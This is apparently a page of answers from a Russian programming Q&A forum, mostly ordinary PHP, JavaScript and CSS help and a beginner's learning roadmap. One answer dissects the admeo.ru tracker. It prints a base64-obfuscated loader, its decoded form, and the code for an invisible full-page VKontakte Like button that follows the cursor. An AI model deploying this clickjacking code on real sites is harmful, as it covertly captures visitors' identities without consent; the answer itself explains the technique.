• Как создать сайт вроде спрашивай.ру?

    HoHsi
    @HoHsi
    Не стоит сразу же замахиваться на большой сервис, начните постепенно. Каждый начинающий программист первым своим проектом грезит сделать убийцу ВК / FB. Скажу сразу, это с первого раза не выйдет. Как не выйдет и с 10. Но! Это не повод, что-бы не развиваться и не учиться. Итак если вы все же решили потрать пару месяцев на обучение, или вы уверены, что пойдет меньше, начните так:

    Шаг первый
    Html. Это язык разметки, на котором написано 100% веба, то есть это необходимая вещь де-факто. Он позволит вам разместить текст на странице, оформить ее.
    В базовой аналогии, это ворд для интернета (кышь Ъ праграммысты, это довольно хорошая аналогия для новичка, продолжим...).

    Это займет +- 1 неделю

    Вам помогут:
    * htmlbook

    Шаг второй
    CSS. Это язык стилизации. Перекрасить текст, увеличить отступы, сделать тень у блоков это к нему. Все крависости в интернете делаются на нем. 99% веба использует для стилизации именно его, так что опять же это стандарт.

    Это займет +- 2 недели

    Вам помогут:
    * Sorax

    Шаг третий
    PHP. Это уже язык программирования (плохой, больной, уродливый, но язык. Да начнется холивар). Он поможет вам понять как это работает, как устроена кухня. Поковыряйте его, обучитесь начальной логике и алгоритмам. Он поможет вам выводить HTML более осмыслено, т.е. вы сможете уже составлять динамические страницы, которые могут подстраиваться под пользователя, добавлять посты, вопросы, картинки и т.д.

    Это займет +- 2 месяца

    Вам помогут:
    * php.net

    Шаг четвертый
    Wordpress. Это почти готовый сайт. В нем уже есть все, что вам нужно. Вы можете писать посты, делать обсуждения и т.д. На его основе вы сможете вылепить что угодно, даже тот самый вопросник. Он написан на PHP, так что он будет дополнять ваши знания. Как только научитись ставить WP, попробуйте написать для него шаблон, потом плагин, и еще и еще. Это закрепит и разовьет ваши предыдущие знания.

    Это займет +- 2 месяца

    Вам помогут:
    * wp-kama

    Шаг пятый
    MySQL. И в частности язык запросов SQL. Это база данных. Они нужны, что-бы хранить информацию вашего сайта в удобном виде. Т.е. по своей сути это таблица экселя, в ней есть поля и их значения. Это так же необходимые знания, так как ваши вопросы из вопросника будух храниться именно там.

    Это займет +- 1 месяц

    Переломный момент
    Наступает переломный, это значит что по истечению полу-года вы должны сесть и подумать, нравится ли вам, что вы делали. Это важно. Так как дальше не будет проще, не будет легче. Начнутся такие вещи как Асинхронность, Брокеры сообщений, ООП, MVC, и другие страшные слова, которые ровно как и предыдущие шаги по-началу будут вас пугать, но потом станут лучшими друзьями.

    Если вам действительно интересно большее, то можете изучить шаги приведенные ниже. Если же вы просто хотите развлечься, то вам вполне хватит перечисленных выше.

    Не спешите так же переходить к шагам ниже, если не уверены в своих силах. Нет ничего плохого, что-бы "посидеть" еще на предыдущих шагах.

    Шаг пятый
    JavaScript. Ура, вы решили, что вы хотите быть программистом, похвально. Этот язык позволит вам сделать ваши страницы более динамичными. Добавить на них анимацию, логику. Этот язык использует 90% веба, так что сомневаться в его значимости нет смысла. Он позволит вам добавить жизнь на ваш сайт.

    Это займет +- 2 месяц

    Вам помогут:
    * Sorax
    * learn.javascript.ru

    Шаг шестой
    Jquery. Это продолжение JS. Это фреймворк (набор готовых функций). Он облегчит вашу работу с JS и позволит делать ее более качественно и быстро.

    Это займет +- 1 месяц

    Шаг седьмой
    Распутье. Вы уже как год программист, отличная работа. Вы уже выросли из яслей и впереди бескрайний океан. И теперь вы должны понять, что вы хотите. Устраивают ли вас сейчас ваши текущие инструменты. Удобные ли они. Не стесняют ли они вас.

    Если вам нравится PHP, он удобен, тогда продолжите изучать именно его, но не стоит бездумно и слепо защищать язык. Если вы чувствуете, что он вас смущает, не противьтесь и просто попробуйте что-то другое. А поверьте этого много.

    Итак развилка:
    Мне нравится PHP, мама я женюсь!
    Ок, тогда вам стоит взглянуть на фреймворки Laravel, Yii 2, вполне хороши. Они довольно мощные и позволят много чего на себе сделать.

    PHP какой-то странный, но мне понравился JavaScript
    Шикарно, значит есть смысл попробовать NodeJS. Это версия языка (Да, я знаю, что нода это среда а не язык, дайте уже объяснить человеку) расчитаная на составление страниц, как PHP. Это очень мощный инструмент, поняв который, вы вряд ли захотите уйти с него. Он поможет вам писать не только сайты, но и приложения для телефонов / планшетов, программы для ПК, возможно игры (но не стоит. По крайней мере с текущим развитием инструментов), демоны, сервисы, консольные приложения и т.д.

    Они оба мне не нравятся
    Что ж, тогда вам могут приглянуться Python, Ruby - эти два языка более близки к PHP, чем JS.
    Или вы за год стали адептом скорости, и не видите большей радости в жизни чем оптимизация и быстрото рендеренга. Ну тогда вам точно понравятся GO и Rust.
    А может быть Dart к тому временем станет мейн стримом, это уже покажет время.

    Что-бы вы не выбрали, это будет хорошим решением.

    Шаг восьмой
    Как говорится, я просто оставлю это здесь. Сейчас нет смысла объяснять, что это, зачем оно и с чем его едет, вы просто взглянете через год на этот список и все поймете.

    CSS:
    * Sass / Less / Stylus

    JS:
    * CoffeeScript / LiveScript / TypeScript
    * Angular
    * Promise

    NodeJS:
    * NPM
    * Express

    Ускорение работы:
    * Gulp
    * Jade
    * Yo

    Остальное:
    * MongoDB
    * MariaDB
    * RabbitMQ

    Шаг 7 и 8 займут у вас всю жизнь
    Это не в коем случае не значит, что язык будет тем же, просто Язык / Технолигия будут заменяться на другую, а смысл будет тем же. Будут новые технологии, будут новые подходы, новые языки. Будет интересно и весело.
    Ответ написан
    15 комментариев
  • Как понять, какая величина line-height?

    delch
    @delch
    Frontend developer
    Если речь идет о макете, то в шотофопе всё есть.
    8b026900eb1041b999ddc73c5aaf69e8.png
    Ответ написан
    Комментировать
  • Почему не удаляется первое значение из масива с ключем 0?

    VladimirAndreev
    @VladimirAndreev
    php web dev
    потому что 0 == false...
    любые функции, которые возвращают ключи массивов, позиции в строках и т.п. нужно проверять так:

    if(false !== array_search($form, $bad_block)) {
        // ...
    }
    Ответ написан
    Комментировать
  • Как admeo.ru узнает номер телефона?

    27cm
    @27cm
    TODO: Написать статус
    Clickjacking

    О кликджекинге написано много статей, в том числе и на Хабре, но всё же заглянем внутрь admeo.ru и посмотрим, как это реализовано у них.

    1. В коде есть скрипт, буквально бросающийся в глаза:
    <script src="data:text/javascript;charset=utf-8;base64,KGZ1bmN0aW9uKGIsYyl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPWRvY3VtZW50LGY9YS5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IilbMF0scz1hLmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpLGg9ZXNjYXBlKGEucmVmZXJyZXIpO3MudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzLmNoYXJzZXQ9IlVURi04IjtzLmFzeW5jPSEwO3Muc3JjPSIvLyIrYisiLyIrYysiLmpzP3I9IitNYXRoLnJhbmRvbSgpO2YucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUocyxmKX0sMCl9KSgiYWRtZW8ucnUiLCJlZGI0MmE4MTg3MzE4NTY5NmFjNTJlMmJiNGJmNmVlYSIpOw==" async=""></script>

    2. Декодируем:
    (function(b,c){setTimeout(function(){
    var a=document,f=a.getElementsByTagName("script")[0],
    s=a.createElement("script"),h=escape(a.referrer);s.type="text/javascript";
    s.charset="UTF-8";s.async=!0;s.src="//"+b+"/"+c+".js?r="+Math.random();
    f.parentNode.insertBefore(s,f)},0)})("admeo.ru","edb42a81873185696ac52e2bb4bf6eea");

    3. Внутри edb42a81873185696ac52e2bb4bf6eea.html:
    <html>
    <head></head>
    <body onclick="admeoVk.click()">
    <div id="vk_api_transport"></div>
    <div id="cwvkid" style="cursor:pointer!important;clear: both;background: none;position: fixed !important;top: 0;left: 0;bottom: 0;right: 0;width: 100%;height: 100%;border: none;margin: 0;padding: 0;opacity: 0;z-index: 88888;visibility: visible;"></div>
    <div id="myvklogin"></div>
    <script language="JavaScript">
        var admeoParams = {
            token: 'edb42a81873185696ac52e2bb4bf6eea',
            apiUrl: 'http://admeo.ru/',
            appId: 4906527,
            host: 'admeo.ru',
            siteId: 15,
            cName: 'amuid'
        };
    
        (function(i,s,o,g,r,a,m){i['AdmeoObject']=r;i[r]=i[r]||function(){
                (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
            m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
        })(window,document,'script', 'http://static.admeo.ru/assets/core/_vk.js','admeo');
    </script>
    </body>
    </html>

    Странное решение оставить cursor:pointer!important...
    4. static.admeo.ru/assets/core/_vk.js
    5. Прозрачная кнопка Like Вконтакте движется под курсором и ждёт, когда на неё кликнут:
    window.onmousemove = function(e){
        document.querySelector('#cwvkid').style.left = e.pageX - 70;
        document.querySelector('#cwvkid').style.top = e.pageY - 12;
    };
    Ответ написан
    10 комментариев
  • Как проверить встречается ли одна из фраз в тексте?

    AnnTHony
    @AnnTHony
    Интроверт
    Можно попробовать найти сначала совпадение по общему слову, например. "СКИДК"
    Узнаете начальную позицию слова, обрезаете 10-20 символов вперед и назад (У НАС САМЫЕ ОГРОМНЫЕ СКИДКИ И ПОДАР...) и в получившейся строке уже ищете остальные более полные фразы.
    Всяко быстрее чем по всему тексту рыскать.
    Ответ написан
    1 комментарий
  • Как на лету преобразовывать строку в объект, как при использовании нативных методов?

    Один из вариантов - добавить методы в String.prototype.
    String.prototype.doSmth = function() { console.log('test'); };
    var t = new String('q');
    var t2 = 'abcd';
    t2.doSmth(); \\ test
    t.doSmth(); \\ test
    'abcd'.doSmth() \\ test

    Но вообще говоря так делать не очень хорошо.
    Лучше сделайте свой объект, например
    function MyString(str) {
        var self = this;
        self.str = str;
    }

    И в него добавьте все нужные вам методы.
    Тогда вызов вашего метода превратится из
    'строка'.toUpperCase()
    в 
    new MyString('cтрока').myMethodName()

    Вот пример создания класса, который наследует прототип от String: gist
    Ответ написан
    2 комментария
  • Как это понимать(composer.json)?

    difiso
    @difiso
    В параллельной вселенной я космонавт
    Скорее всего потому что его нет в зависимостях у leopandro/yii2-user
    Ответ написан
    3 комментария
  • Какой самый быстрый и лучший метод чтоб привести число к строке?

    @vilgeforce
    Раздолбай и программист
    toString() вас не устраивает по скорости или потому что не "самый лучший"?
    Ответ написан
    5 комментариев
  • Как массово изменить размер шрифта в фотошопе?

    pozZzitiv
    @pozZzitiv Куратор тега Adobe Photoshop
    Дизайнер и перфекционист
    Выделяются все слои с текстом и указываются в панели свойств текста нужные параметры.
    Ответ написан
    1 комментарий
  • Как вывести разницу между датами?

    Stalker_RED
    @Stalker_RED
    Немного брутальной отладки.
    Q29N8aw.png
    Что мы видим? Days = NaN и дата не дата. Местами даже пустая строка.

    Немножко читаем доки по datepicker-у.
    О, getDate помог, теперь дата в правильном формате! Но только одна...
    R22NpMM.png

    А это всё потому, что datepicker-ов на странице больше двух, и :last портит всю красоту!
    jYUjEkA.png

    Победа!
    MfLTV4J.png

    P.S.: Я бы посоветовал дать полям имена, и выбирать $('input[name="arrival"]') или типа того.
    Ответ написан
  • Как правильно линковать js файлы и просто script?

    @sunrails
    1. Учитывайте что от чего зависит
    2. https://learn.javascript.ru/external-script
    Ответ написан
    Комментировать
  • Откуда здесь могла взяться 1?

    mahoho
    @mahoho
    Full stack certified PHP developer.
    include_once returns TRUE , которая при echo неявно приводится к строке, то есть к 1: php.net/manual/en/language.types.string.php#langua...
    Решение: убрать echo рядом с include и идти читать документацию.
    Ответ написан
    Комментировать
  • Откуда здесь могла взяться 1?

    fornit1917
    @fornit1917
    echo $header; - вот отсюда
    echo $footer; - и вот отсюда.

    Советую почитать матчасть на предмет того, как работает include.
    Ответ написан
    6 комментариев
  • '100' == '100,00'?

    Потому, что запятая не считается разделителем в PHP, соответственно он не может привести '100,00' к числу и сравнивает его как строку
    Ответ написан
    4 комментария
  • Какую планку взять? 4gb или 8gb?

    s0ci0pat
    @s0ci0pat
    I'm Awesome
    4-8 будет работать в одноканальном режиме, то есть медленнее.
    Ответ написан
    21 комментарий
  • Как убрать первый символ из строки?

    miraage
    @miraage
    Старый прогер
    Убрать первый символ вообще:
    string.substr(1);
    Оставить только цифры:
    string.replace(/\D/g, '');
    Убрать первое вхождение знака процента
    string.replace('%', '');
    Убрать знак процента, если он является первым символом в строке
    string.replace(/^%/, '');
    Ответ написан
    Комментировать
  • Как использовать менеджеры пакетов? Composer, bower, другое?

    Fesor
    @Fesor
    Full-stack developer (Symfony, Angular)
    Как правильно и оптимально воспользоваться пакетными менеджерами для такой задачи?


    никак, предоставляйте независимое приложение в виде готовых билдов (собранные tar.gz со всеми зависимостями, deb пакеты, docker-контейнеры).

    основная мысль - ваш этот "встраиваемый компонент" на самом деле полноценное приложения, версии зависимостей которого вполне могут конфликтовать с проектом, в который оно будет интегрироваться. Что бы уменьшить количество проблем ваше приложение/модуль/компонент должно быть изолировано от основного приложения и просто предоставлять средства для взаимодействия. Исходя из задачи вам подойдет http api например.
    Ответ написан
    2 комментария
  • Чем или как заменить конструктор?

    Skiphog
    @Skiphog
    Crutch developer
    class A {
      public $firstname;
    
      public function __construct($firstname) {
        $this->firstname = $firstname;
      }
    }
    
    class B extends  A {
    
      public $lastname;
    
      public function __construct($firstname,$lastname) {
        parent::__construct($firstname);
        $this->lastname= $lastname;
      }
    }
    
    $class = new B('Vasya','Pupkin');
    
    echo $class->firstname , $class->lastname;
    Ответ написан
    Комментировать
  • Как правильно писать и в чем разница между $a == '1' и $a == 1?

    iiifx
    @iiifx
    PHP, OOP, SOLID, Yii2, Composer, PHPStorm
    Ответ написан
    Комментировать